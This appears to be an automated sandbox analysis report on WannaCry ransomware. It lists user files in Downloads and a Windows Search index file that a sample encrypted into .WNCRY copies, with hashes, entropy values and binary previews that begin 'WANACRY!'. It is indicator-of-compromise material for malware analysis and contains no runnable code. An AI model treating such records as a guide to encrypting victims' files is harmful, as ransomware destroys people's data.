                                      Preview:WANACRY!....W....L..g.Wz.l.#...%.\.$......3)>(W......l.jgZ...A'.a.kKiZM)'...H8x....>..e..3@......E...N..8...V.-....TS..%....)~.T.2...Qq....{...M........J...Z.+./..;.!"...%.R.4H...?..'....C...z..^.......?.95.4......(...$..F[....}.:..l.0...q....C.W..................i...ss...2.p..-.`......S....5.0&....h@I......b.F...A..^...J3rP(.n..&.......)"b..fWq....;..wQ.....\?...p...IL.+..*.a.GI.|...>1...c..T..wJb..6.6.A'..L.LCA>_..l.t0w...|.cu.N.. .5.A..7d6.l.. ..[.7..evZP2...n[..}D|....R......q...N.&/.IW...'/....2......4..Ldy.1G..&.?.......1...3Br]d.`.....f..v..r4.k.(.X.%,.I.V;W....k4..r.T.Z....#09y..G9;-.....PZxp,XC.K.c."....fd..c.P...3..._.t.*6 G.N.pJ,.L..E....V1.u..X\......MD...\.J..H`.P...h.....NFu....S..2.J.}.C{^f..{...t,...Y..S2..._.3...q......... .....!$..&....D.n..v.j../.Wv:.2......s.-w.2wX...b..[.-\F'...H...k.4.-q.&2.L.h................{...R.CJ5[wp.=:UkB.........!}....#..F..5........}...dF......Y0.5@......i.L....b..?...s1....

                                      C:\Documents and Settings\user\Downloads\SFPUSAFIOL.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8324798681091545
                                      Encrypted:false
                                      SSDEEP:24:bkwfHKpVV9TIZOjZttZGmNhzuDxKY66Rpi6BKthTcIc1g0u9EHsmDq4:bkQKV9UZEtGohiDxlBKthZ0u9I
                                      MD5:BB2CBF4C0C2B82F50155DE554EF68A40
                                      SHA1:0E4F820E44EBA3D16AE09A1253F3ADE6FECF06E4
                                      SHA-256:5FE5B3173F80FA3B41E1658482AD45B516F20769A968918D6BD66C67872A5899
                                      SHA-512:4442D0FD601B655EC0ABF2A669EB2C0266D02A984F5C4B8DDA7726078534848DF23AD194FF94EB3445FD872246F99516D5A0D764588680950DDA53C7EB409B34
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....O.#..%.E.....*U..V.....7qw.Q..[.?...S....gG.C..F....>Vz...H.*..u.{<S!.vD_...}N2.I\...'.4^5...6.... .R..Pl.p...E..l.+.V[........m_RJ.A1......T.........n..\j.m..Y[9..} Z.f./.-}\{..........z....?>...A3M...):+wF...Z\n[?...i.<.fb.u.f"..=.r.e..W..Z68............../".o...OG}....b....<.Z..6..:........uT.lx.Lz?/k.wv.(.n)vk...Y0.\.|}$r0..A..%...I...3..1.>v...&.f.!R..m....h>=.`Mu....m.. W.HH..f\.i.p.>..4.^.....X...?4B..A.X.........?.}.1......,3.!1........s.7..}.......ta..]j...M...=I.[S.....x.1/..&.{....rZ........_!.$....yQy....7.w.0.dmy../..X.=J...e...i.u3.h....n.mHy3...R..S8...h.........c?..._.#..UJX3..$..+.0.J...y5.....h..%..s.?..*..r...[kMj.E!.....>..;N.T.....O...)..U.%.:"..Jnhu.=*..v.X..OJ.5.O....Qo'a..D......D6..S.5.HJ.1.H .m....?..wK.%..........4&Xs.L..{..R.......^.._..OWgw..@.(....Q..O..R=..<...........E.tU..n1gy.?..w./h.#j].J..k$.O.]Nm.(".8...X..xg..&....a]k].F1.B;.5..A..}..\.....7'...:......].I.b;....a.2R.p....S.0......s

                                      C:\Documents and Settings\user\Downloads\UOOJJOZIRH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.870746104511783
                                      Encrypted:false
                                      SSDEEP:24:bkJ3SOsI30CPhJotwFlAyO7YwQIVRl1DGI6chs6RfSNkrKBXbCrE+7aLJX51:bkhSOsDCPhJocSiwblpGI6cXfqFBXmp2
                                      MD5:ABD19791DBEA1478609887979BD15F62
                                      SHA1:81AD8ED2E567F11C5D441C031DA18AFD4071641B
                                      SHA-256:D96391C548A642E6D09D699F38E0C963F4E062C4B4C9C8E218C4208DD3898574
                                      SHA-512:926B3BABFAF3A571063F6C2DD60E21D262CA25B528E32ABCEC53D35777E77545DEAADD18E58991D4955CFB44DB7A31BFA03A1A2977508BF2D40BBF9D88944787
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..............n..<X.D..q/.k#..E..w.M...'.;e....+..Q.b.U..j..I..v.!]........b.=....<G?3....kW..8...t?.,.....T}....>.?..t.E.19+.i.Z.....t.t....,.!......iHMh.q]%N..... j..S1..Q.:.....d.%T..#.y...L..D!4.2.....O....C`.um.r;T.c....+$..j.^..z.xA"...!.k.............f*...@.V...b.......N./.]..Q48......b...+eu.....h.2 rgl.R.a.].P.fZb:.nE.U.A..9....s.f.F.n..6?.......!...E.........A~....`.\.Z..o...b ...w....t\.N.x.j6v....R>..Eo..R......T.J.B..j.eS.UO...-.!..={.).....g........x'S2..gs.[.f......N.4.J.3.h0........(>D.....h..v....F....z.q.v.,/.q............D.S.cN.,...^..;H..;;.G..{r.y.G.......p.Q.;>.......Jr...:..:....l.....K.e.....A..C5.O.W.......W.F1)|B...V.{.}..c....a.[.e...1.!L\.k.Z..".@)....~..F4v..1...":...Q|?E[Q...|.B.Q%...D..*'...E;.. ..*...]%.. ....js..~..(...9......f....Y....~.(E.....?..M.n&<{m.....{K..m6...?..zA.;.Q7#m"./7.oV]...A..#r.K..S.Y..Wrp......F$,j.M. .9.aA.LK.A..,...d..`n..#.i~_.....A.8..z.......#..`....(.^e.s..,g.>...S.m

                                      C:\Documents and Settings\user\Downloads\UOOJJOZIRH.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842580423656044
                                      Encrypted:false
                                      SSDEEP:24:bknED98In8kN/ZSsEXI3AGN19ifSbS2g8CF74Y4z0xAmiG8jjWwOi3:bknQ8o0I3zkwpCBdZsO7u
                                      MD5:27ED8554A1626E3A2AA35B950BE5BB72
                                      SHA1:0035CB40CE5F0B92093A918A9C82D139AB041FFC
                                      SHA-256:2F9023000A615FDEA510559A3CAFE4443E3DD2A882D290BB3F7C478A3B8E2C25
                                      SHA-512:9E4046DB93C04EF5752E501F01CAF8E47CCE12CBBAFB34E7F4A81C33F4B0D5947D433455FB2C7A841A76A80FBB7353F6248DFCAAEA144A748213706FCD7256E9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......g.a...w.v..-l[K.%./@Z.9.s.;Q.rzsR....FU2.\...c<...(...z..3.....=m.P..t...s....Y....&;M7.c[.c....c-:...../....`.P..].E.....MY.%1.......+Q^/...NB...y)...^eJ.]..`.aT.g..2..F....8>.r.F.!.>..].?...?...F...V.=.......]..+.y..}x..\.....T.W..&N...................p.:.E...:..(..)d\9.Xw.{."0\~..!..G...........i.eN.}..#..q./4.."..j....Iu...........!._m...,..(.....7.w...............{?,IM..U.ad.......A......z.'4..,o2i..Q2..~!."Y........;..r...%.....kT....T.f].:Pd..yi.V...!.b....'.`.b.&....b.Y5,....N......(.!+..dkD........B?\n.QD$t]......^KA.`|.Y...~*...'<....J.<..f.Z7...|%.<.@....;.......T..n.0GC..A._.~..,.Q.f.+..Nsp....M..JS.O.<..-pR.sZN.Z/.....s.l:...Q.}EP.2.&.R........-..|l.)S.Ah.t..@N.DQ.y.m..PC.w.......KN...h.. ..g..i.T,l.. ...e.5X..d....A..Q....F.@.P.84.......X.45u[E%.u}...B....N..5....'......q...L...0b...K.&3.z.3l.i4.h...> .....mO=..e.K.......}AD)....EX.xm.93.7..&7t.pp......."...Ey..;..V.L.4^.....R..g.+.ED..^iE.....g

                                      C:\Documents and Settings\user\Downloads\VAMYDFPUND.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844936825305225
                                      Encrypted:false
                                      SSDEEP:24:bkPNK86IRp1dHGzHoc/bCOZ0rHDBBNEgUW1CnB7bNpRNjE9OC1eaESTi16X:bkPHIUcL0TDBBNfAB7DR6b1fESTii
                                      MD5:B1C4A79B338D573BE7526AE0FC7C82F3
                                      SHA1:2655A72FE8F9618E763FBB69908FD39593B797BC
                                      SHA-256:B305D4DF6F3D5678F94B5C84777418D35F849EEAACF1C069F2891C3C1BD0E173
                                      SHA-512:5EB04CB42C5D7728BEDDC2C4FFBC9D4AB8670476634A7BEFFA685570B37E32129AE392B22C4CA3D1B2B64A03519A3A7D43315B641BCA8C7BB4900B2B0EFAE087
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....cj3.w.).a...x&.Ow.....&.w<...;.Y_.S..S.".d...nZ.oTP/..`..Ezvl.d......V<.j5.B....|~......$.....r....3..hye.........Y.X{D..h.hW. ..f...T...{3H....a*ay......97..Um..D.Z..ip..oC...3N.q..)+....a.._0...YB/.;.p..~..f...M..G.K..Yd._.....}t..zt.O.L.;..e..............N.2^Li.^K...t.........~..e..1.b.c...5a$.......y.[..._O.U[+.3.P..W...t...@...J..8U.........2.Y.QR{.e.f).V.Ge[."...:a..X,d.8.d..3.OJ..^.......q....v.E.|.C....60..4..kU....=.7..y..D.G.r..B$..CO.........&.....A,8y.v.B..8B<........$..W>.i.8..}1C..U8.#.d.G.W@}..t.,..b.......7HA.....c.kY2gj.\..<....&....z....\D.Hb.*....q.J......^...>.I..i.......P$.$.o.0.!.........3dp*.?( y...r.p....K.z..uv3.....1.........!...v.@f..7.T......*[....r...V.Y..*...'..b....)....v...<.9..'.#X...."5|).q...L%.._.5F....yn..S......~..J[,+.....p...p....._.}...'.Y._t..x..%..b;...EO....%r.....gEV?..|..[.[#..`.D..B...v.4=.V.....2......-.%.iEy:.....C.G...E..v5p@.-0....@...=J.86c....O..3......!. ..V.B-..[.......|u.....

                                      C:\Documents and Settings\user\Downloads\VAMYDFPUND.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.833202413299448
                                      Encrypted:false
                                      SSDEEP:24:bk03JKviVAhZrwZ9sTtnRR43icnx/QoKF01J8mGlY3aCDIGElhgV6UFfKDO1P:bkNhZrwfiYpxrTXGM6lhCnhKDOF
                                      MD5:6E6A21865558CD28998ABF9631E1DCE9
                                      SHA1:5C5805F5A83E99EEA83142C077F3B5E62DE86FC3
                                      SHA-256:6FF51EDD562FAB44209058DD8A1F1341618624E82FCF42915A27A82143DED359
                                      SHA-512:E6C09DA736EA79F3869F380257BD65E2047147F0B7FEFB0879B60CA3A0BDB2416C3AEA8D65D1968A2DBBC4921ADD30B57C353F0A4F4DA395CE8E86A4CAAA5109
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....q.,...h*."fa. ..PZf...1...=Tcb<..i=....2{.....9..I....j"B......W .._....0.1.!.l...*......=:.b[..^!.u.OQ.........\.9V1.#F....WGe&&..I.%...g..Q...0h.I2..m1..]..%.B..(.j..k......N......mO........c.......~ar.i53...c....4KMV...U'.y...:8H.G...h.."]+................N..s.6R...Eg...7N..i..A.}c.{[:.^.x. .)..A....c.S.....F.2.u.C1.+D<7+D..E'..a..3.W[...u.2..|l...`....m.!^uA,y.}.......[.~X...J.,....Z.^aC..?..H].....=...Q0....&......o=L'..(..?...}.{".m.1....7..jcN......[..6.!....9E.."(5..6"".E......j.*....m1v..P../....1T.3N.......B....L...R.....r..6.>7.,0....4..+.1.,.Q.*...:E:.W.^ d_..Zn".........s....<.as..d&.....S.2.9ZA...-.xo.)..b...z..!G.L.;...x)EvN....?..?C....*g..wK.....m.'... dxV...H...6...f....t!.>.6..Y^A..'..b...,c'.[..Pu;..W..n.....=.'.~..h..o'M.k...o.&.....<r.2.....4b.5pB..............4..:.q...%"i..8Vp.c.+z,.#B......,.>..J...AT...7.. ..-..~.....d...<....,%..Y.A..9.~+....`.E.q.gBjjgmf...S....Yn.22.1t...e.B...&...,y.9@.`.$.

                                      C:\Documents and Settings\user\Downloads\VAMYDFPUND.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861756866622836
                                      Encrypted:false
                                      SSDEEP:24:bkkRp265T7EHdHbrwqmCHvZCKpMYZ0ONM3gujtyKx2qCt+TbN14szLL54Jws3C:bkka6F+b0qmCHEKpLeH5tQqCt+TReaxd
                                      MD5:A79E7E370BF5FC4DAD0F53FE3E89BAF0
                                      SHA1:3118205F4F435BF6F6EB3EB802AE7DE4E91DFDA1
                                      SHA-256:C1D586D1E0139792497E70954059B60B51D20FE69AF13DFF284DDCE6D482B826
                                      SHA-512:7201DACB5A022C57539CC9B59D2EF3FCEE44D249902E59C2541183B3633B68987E0684F92DBBE4882A4170C76786493236C45C256CF8C732E99BB4E1E31FD9FC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....p/...\...b.-..l0zZ.Qx.@5.Q+........C.).Z.e.....l...1....6..Q..o.....r..C..*.O.R..R...y..C.....^q&uC8..A"..t...zJ.....d....6..j.s.^..sXK.....@.D jJ......<.>....;..X.k...&...m3lwjhq..R...d.j jp9:@....+.....k.B<z.....R.[......m$.=&..c../L^<&.../..<.].............F....:.1..T.q.2...G..t^.|.../2..8b.Hr`....t.>......e.#.....{i.#B[n..2;.1.%R..k...J7.."v......iS..... ,..(s.V#..-.B.....v.m.:.....p}..".x..[.9.`.......?.m....%.6..+N....QV._...lZ..>i....'.s....eS.y.p...[~...9.W...!E..~..\".}....j..;....a.B?..0O!.gB).......iQy.*.O8e.b72...9n.M.]R.R]...uw.v...m..d.]..E..(..D7n.......2...|...BE..K.UN.4..u.u*Y...#.^......3..Z+..Z#.....6s.~?.p.."BnC..f/..p.........g0>;......T....|.#......J........Q++.....;.a.j....V.MH..,j..zN.P.9..O..-.[%.{........M.*8......:&.v..xQ..Z.....H..$|..][.J..e.^Xb..Q.IC...x+....)..z..Z......CF...1l`..B.sSv...h7=...'.R....;W.>rK.V.[....&...9...E&.....y..z.;...e-d_...A.....1......K6f...m...j.69.J...[..r..x.1&.V...&..

                                      C:\Documents and Settings\user\Downloads\WKXEWIOTXI.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.858529152577424
                                      Encrypted:false
                                      SSDEEP:24:bk6xYn6AKqf/nnjZ/wHyTY75zX1TlDdn4uvDE8eTfcmdgd2k+IEvOKwfPJhE9Urz:bkH6AKWnjZ4DtzlT3b7irc4h9wfPnEZu
                                      MD5:F49D110AE50562BFF395513CC459DA30
                                      SHA1:BA56E3B9FCEA4EB12C019E0B36C8A38B8FDC3EB8
                                      SHA-256:D1E41AB7A6E02424DEE677D0F05315C80831C0E221FD05BF5B0222A9517F2D4A
                                      SHA-512:A0DFE228DC434D2F1899A752C6F081C5D2D6FF4F9370148246DC33403E3763EFAC866CC713E3E8657035175FD0BC062B851E176BBE2899164695DE3EEDA592A2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....J;............L.....o.fLv..z.%gl.5\.B..iA..2....cd.Z..S.S...?9...I....b:..o../..Ta...U..N....i..Rd....1w...=j/s7N.;.6...6>N.....?...2.lzm7..Z.L=hV.(.....{..t..S.......>s..I...L..0o._B.....1.%..Y...._....-.).Y...q.-.%..V... }.]Rf.B34.G^......C..j..............Pq...k3.\....".7...N-..A..............j.\..5..c.O.v>,.A.s..5,.9QVV.p.u.o..yex..(X..h...~....7..\.**.nE.\{T........B.;.7h.#+3H...B.:..z1..g.A.EXl2'.i....,.48LZ.....&0(B...-Dx...vs.'QHq.Q.X.....:.#...r............+Qjr...../.......1.&.mXn1.,...F...1.....e.hc...`..u..a.w.5.VX.zBS.1.$.".W...dv_....\.{...3..K...P......H..... ..@w./eeJuI)V..z?.v..e.@"..z..~...6.U[.,aB...ZH..%y..B...*....Rkm..@`r...-.%....:.........^.}z..^.}U......^.W..z ...`.v.1..,...Ik...ne..o.+j...........M8..Ps..A...0C..2...^$c.VO..&.L%..A..Z|d3...F2..x...Er~.......TV.G.....3'..b.S.D#Z.3x!qO|..p?.t.4.R.YCl.m.K.G.o..0}.?.t.,e...e...4...o?..s.Z....|Jic'...'zu.......`.f.z.....W...[....E.v._S....u.i..6....

                                      C:\Documents and Settings\user\Downloads\WKXEWIOTXI.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861417885387666
                                      Encrypted:false
                                      SSDEEP:24:bkYsSuheZR34c1QdGFgJbdrWoGGM4PqcLmkRc5z1VS/6FJhGhLf+RHWk4DUA6B8J:bkYsEZvSGFgDNPlc5z18/zf+RHWkclHj
                                      MD5:34933246617F93AF199F88720CC5E46A
                                      SHA1:94080ABC1197C0E285716C082C16F1FBD6383577
                                      SHA-256:514BA1F0B2BF830F0C829361922829C938D997296826B80C7F6B6336E843853C
                                      SHA-512:884D70ECE4A532EF016A1B5EBC39EA73875864344175E72F873DAE0140CC80A74D7F67E97762F6E78532B2A9663AEC7C427020C85ED456B3C8308BD01B0FFE95
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......s.//.@m...1#..C....)z..].U..q.1..V`\..8ib....X.......dm.|.........O.-GI......J.$....m..t./0..E. ...I.:........!.(.t.JPd.w........_.K...QW.;v........".".3l8..r..y...6..6t......../ON.{.....i.X....jwte.S.;.......xD..e4..o..w.-4_...:.sNy.W.............5......2|..X.....$..x....~.j.>.Tc...;..-.'.'..=.1.l..S.. ..w..[.C.. .......Na...^WYB.l[.Y..1..V..+..Tj.T_..9u.J..T...-..-S.P......k...r.$.W./.....i....... {...OD.....?.H.C:..D.M..&..!#.L..L.j,Jl.......q..0R.....M...... .......#.N..s'`.....0{....>.0.....Z......3pL.F....*B.....~V.Y,.. H...6....."Y.(......8.....-..CxX...d..FN,.......?.=..Y...;...]}g~.c.;w...`F....).....\9....-..VT..A|.or76.....B.ua.eS.!...........a....c!.$<.....L.w..l}...\.$.R$....=.o.b&.we8.W.;.X..).3c./G....BsM.........Q..5..Icad..i.|.j........EQ.c..y.S...p*.TGW...z$.H.W..Q.F.Yf*.D:L..T..fQ.<2..y.:yl...3.d.u6..{B& .|..>.... ]..R.J......iP.P...;...x4B...u..[q...F..Dm...+D)'t3....s..i.@._.JK.....mp{o.9.pb

                                      C:\Documents and Settings\user\Downloads\ZQIXMVQGAH.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8480343457047566
                                      Encrypted:false
                                      SSDEEP:24:bkIV0PyLHxillcsd+OfEI3qyiOjVV5PlJf0RC0DqigaTkSbjl5hNFLfi03qhb3In:bkIVVLRDt95yiOjnBf0RJ5hNRfi03qt0
                                      MD5:D84DC3D6D7DD6BE830D6149402BEC2D3
                                      SHA1:61F8F64FE5E61695F3653FDB65576C3F0F562D4E
                                      SHA-256:11945E35F9288004377D5023FA4D1C49C9F2DAA8622BB3BB2C0E4E774408A9CD
                                      SHA-512:EEACE87BF6F1E6B4A309219310269C11C22884684467698065C758C630EB7B37B98EFA73A0298CF1102A479B4EF1AC0AAFAB25F27372795C03C8DB521232865C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....!`.Mi-l...7.W...EJ.......).N.+.i.S...."......c|...\...{...7.3..]..a.E.N.!..1.f.....3B..!..%.g..\...E...Y.niWj.j%...Z>tV.......r..oU2.:3~.......`J.D.............nc.xdYp..+s*...........Z.=S....}.J19....Tk(....l.5.2t...6.h.Z..e..../7.$.}.....p............m.)D'.N..Mpc.f|...Z.[`..n.a.LO.:X.|.....*..i.+d.z..T/cX7...F6L...c..E....OL.o.J/1..e.T3wPI.....q... ......cl.../...8..rb).rLce_\ua.'..j..'udTtf..0.........z0.&N...H.~X......oF....q...|..cL..C._.I.m.[c.Y..:.Y..:.J..BI.wr...H..g_......j.#....?..Aj......bw.n..6..Q.L..O1M!...~">U....././.k.-.m.".HM..s..Kd5....Bm.........;I...Z}_.(..45...w.)...ScYf/=Pd4.....2>.....3.R.ge...7lf.m..0..?.'..H..C.^J.....d.......6...~j...7...m....8x/2.N...W...e&..=.z~.r.V.....:....1[4.......@_....J.4.{..&(.d.N..C.s.i..9..h..5G...Yyd#...|H.pJz.......&.Ss....]T.`........{.{.{...............,g....W...3V~Cs.Ig..*....m@x...yq&......9e.`.cU..4..%......1.@...OL'B.r...!.1....l.......s..........V.w.c........d.

                                      C:\Documents and Settings\user\Downloads\ZQIXMVQGAH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847927901321985
                                      Encrypted:false
                                      SSDEEP:24:bkuGfipBJgZv2cW02lvrmd1iCrVHpDq4vmhG/BxQ71UEuZrkwE:bkuuipg52HBpCrrWkaG/TQpUEgrkT
                                      MD5:8827834C76C57F6CC341DFD7F83AB7E1
                                      SHA1:1650E30A4D1575F557C92FC3E0D606B2FD58302A
                                      SHA-256:C09A4530F31FF2B25A4D0F91261DCF76552C11E5CCB70A25B4045B7CE3A132FC
                                      SHA-512:182E7A2BAD4F1BEFB4EAC211DBAF05D50AE176FBFB2E40FF939D44D7D9B263EA6AD6A6D86BD2A2D7EBE9EAB0C665817C639B00AA6909E1A8549FF2045AC441CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....dG.c+...V...dT89.B.Z....m'......P.Ne..|.0.zT6..p...Wa..uK..A.r..._.UB_..;.Ny.,-.:...jU......g.~.v.x..F:.9.......p.....lFc....e.N.....x>F..!.....vRt.S....!e.t.,.BGpW.y.F)%(.iqe.o...x...\ e.~...'.......m...ys.!.8..6.:.,..{F..l.e.E..2Z.................... .(.....Ei..rl.Ec_.(J{O.x..Z.y!...A.o....Z...E#..J....<..>(.xx>~........+..}..@P^zj|.O.............t~.fF.....Y+.(b.1....O...../H...L6 j......~.&XRh.....Pz.F..).L=..T...vH..g.K..0.!...N_.}`}H....@.....f..Aykh...a5n4*.....okG...QP... ...+...U....lb..9........Y:..-.|J.x...]q.. ...%.KB.....FRT^L.N._C7RR..d.....Y.. ..%%...3w...<h.NO.d....TY.<F\....mcvP.A6..S....b+.`.5.n..C.gq.S...ph.#..fg.e..,....B.o..{.. .)./.Xr..Y,l,<...4.^.},4.d..H!W....6Jl..E.n..*`...S2->.....V..-\...%.|O...Q.1@.F..I...a.~!...E.nt...y..._...Fw.....;.......].hN.OUn.\4...U..0..@>..H..U..y...).^.[s..1.....5.-.{2..T.P.i.B]...$+.....=+.q\...n....c.^.t.d...M.....:d<....z.....\*..}/..,;Z..R.kh..67r..Y[;z.#.`r....DI

                                      C:\Documents and Settings\user\Downloads\ZTGJILHXQB.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.82405568401425
                                      Encrypted:false
                                      SSDEEP:24:bkEv7YTro2kl7Dx3b8x2Tmd52m+V+kmSX3s5RDnfUiYOPtt8l829QFF3wQdbfa:bkHTrDGxvmdT+gxbfUiYKOd9QFFLa
                                      MD5:0004F3362B09498EC8CAAAF9DC59CDB9
                                      SHA1:8716B21F8264F7E62FEE34CDB0DAB164CECCBC8E
                                      SHA-256:87633643F734D489B527281059023C2AC477624376EB4C88582788EB0163E205
                                      SHA-512:3637F987BC87EFA2B7978EC29AB97D35C810D41BBBA9589E3CF2C3CBB021E69CC218824E43A21DEC58E65DBF82ECA6FF8F42E31A69998F678AAEAC59F1C32832
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......{4....mmqp.<.....o.f[.5..p..V.%s.g+..2..f/{..B.8.....f.|....-W.'..I.J.X........J..4V..Ka.....1..&I?....a......e.;c..:../.t..].....YY..9.F.?..y.NEd..W.d3..TcKb..g.../>.TH.0....-4....9gc.....k........]DG+-.F..T.$\7T..=.pZ}....`.[7-.!..,\...............m.....^.v>..F.5.....l.-uM6.U.?.9F....j*.....s......r.]....w-.j......i.iu'd..7-.f.%.Af&.o.:y.YJ!c...:.~.7/..H........i...>..3NH.j!....85.....R.^.........K...O.J..5Q.P.g.)..m.nZg!*..b8.S)p.%.././.@WQD.j.....j.=..d.B.BAFn.AX*3..f..yf.....9]..R.ZU...T.H...Jq..p.....@.Y1F.aM.H.B. ....e.....r.=..{.,E.I......v...C].aOm..~._.%.b..j....":..'....M..+...F....m.\T..k&n.K"q{.....T..;~l...x.5.G....QH...X~Gj..W..B...R...4n.l.Xd.........1T...N..m.........bI.@.9.>.J.B....td..:.U<..I.~....em..Fe.L5.u.]'C.B<.~..^.nE...$B...f...{..!5..]s.cd*..}..`].8..&>N...e.{!..A.D.9.5..(.3q.5.!EK.M[...3./*.,.'.....yC...f..e.Tv....`....x.X..;9..fC..W.?[.......>...NUY-.&..........E.d.........s;..........S../J....

                                      C:\Documents and Settings\user\Downloads\ZTGJILHXQB.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.860536619588995
                                      Encrypted:false
                                      SSDEEP:24:bkhDuegCIbo62HSdFhkrkTGXC79i/BjhTKBASD19XHFtwJka8OW6Wmj4O920:bkBuesiHehBAC7GheBBTJ6Wm5h
                                      MD5:D2E1F72795E3FC01912DF14FDC9D36D5
                                      SHA1:FA61D5979BD6373F1A1F44E2E0E868965EE99073
                                      SHA-256:79107E18F616AE4B5BB909F10FA655B8D9BC2561C12E413E396EE3F399710924
                                      SHA-512:B3851EDCA2B4AC1F1744AED2D9E5241EA6B6F27426700BECEC3F74875E8F8C4218E019B86491213222A2716A1A48856D584BAAF0CBDC1BDCEE0A0E9A7F0BFF14
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......Z...u.@....D.x`.9@4&...=....L.$}.I9....].i...^`CiY.#z,.....,.......=.....F..'.,...x...JP1......2.OW5K.$..6....8..D.r.R.!....bu..........m..G..E..S.x.8...F..w.<T..o...........3...v...q,..q.l.......=.........D*..J...{XDI.....C.....L.e................"...er.......I2.{..*$...w...}l.....o....>>..[.....Kc.xCN...A..a....W|.'i...B.l...#0yQ..g.....;N..Du#|.gB....[._o....n..#..s.wL..hp4..BQ.]m.l...49..`D.M.(c....1.T....K_?J.a.....itRar1.....tM.4............@..6..c. ......G%......p..<.nf..!....U......2..{<v`.^.Z.......8......,/.^../!..fv.Hf.r,KRU......:.?.(n...y...Y..........F~.E......Y.1...+"J......w.".z.u(=......k..P[.....K 4E._..;. ........W.......... ....[....Q..&....~.....>*0..-....n<*7.q..)........y...8*hGX....a..7....o.^=.b.....".}OH.R..n$YB..v..,;.O$.KI.....t.qq-....#%q..vcj.}.'8.At])...=b..M.!O.u?.P..!......)...Q..;s.j0o@.6$.}7.^.F.@.!..n-B.^.O....3....w.....B...oz....v...'..XDRF..?......(.i"?..p..m/v{f.!..8Q

                                      C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ea91225a-124d-44ac-a71c-a1f2683bf2a0}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):47272
                                      Entropy (8bit):7.996347818089275
                                      Encrypted:true
                                      SSDEEP:768:ES5HBJpK5u+8d7bwY2II7wGkWLywC7SAaggFjNCdqiYbNj/2nKaQokKg4WFC:d5HBJpK5u+8d7MR8leNFwdS/2songnFC
                                      MD5:03B448B446B4B7CBC38332637B1830F1
                                      SHA1:A54D4C857C30D4906B3D70F84440050174953851
                                      SHA-256:C0A968250428BEBAADEE7D180EF77F479F7F7AA21978C6DB18E84B407474E266
                                      SHA-512:28AF0540FD5266577267D493AA26AB494DB613CFEBBEAF61645E3B43DF4A30BB9DB287DE91063854C8DF157F11E366EE7CD5A309FBE84883C2A4E7D8977B64FB
                                      Malicious:true
                                      Reputation:unknown
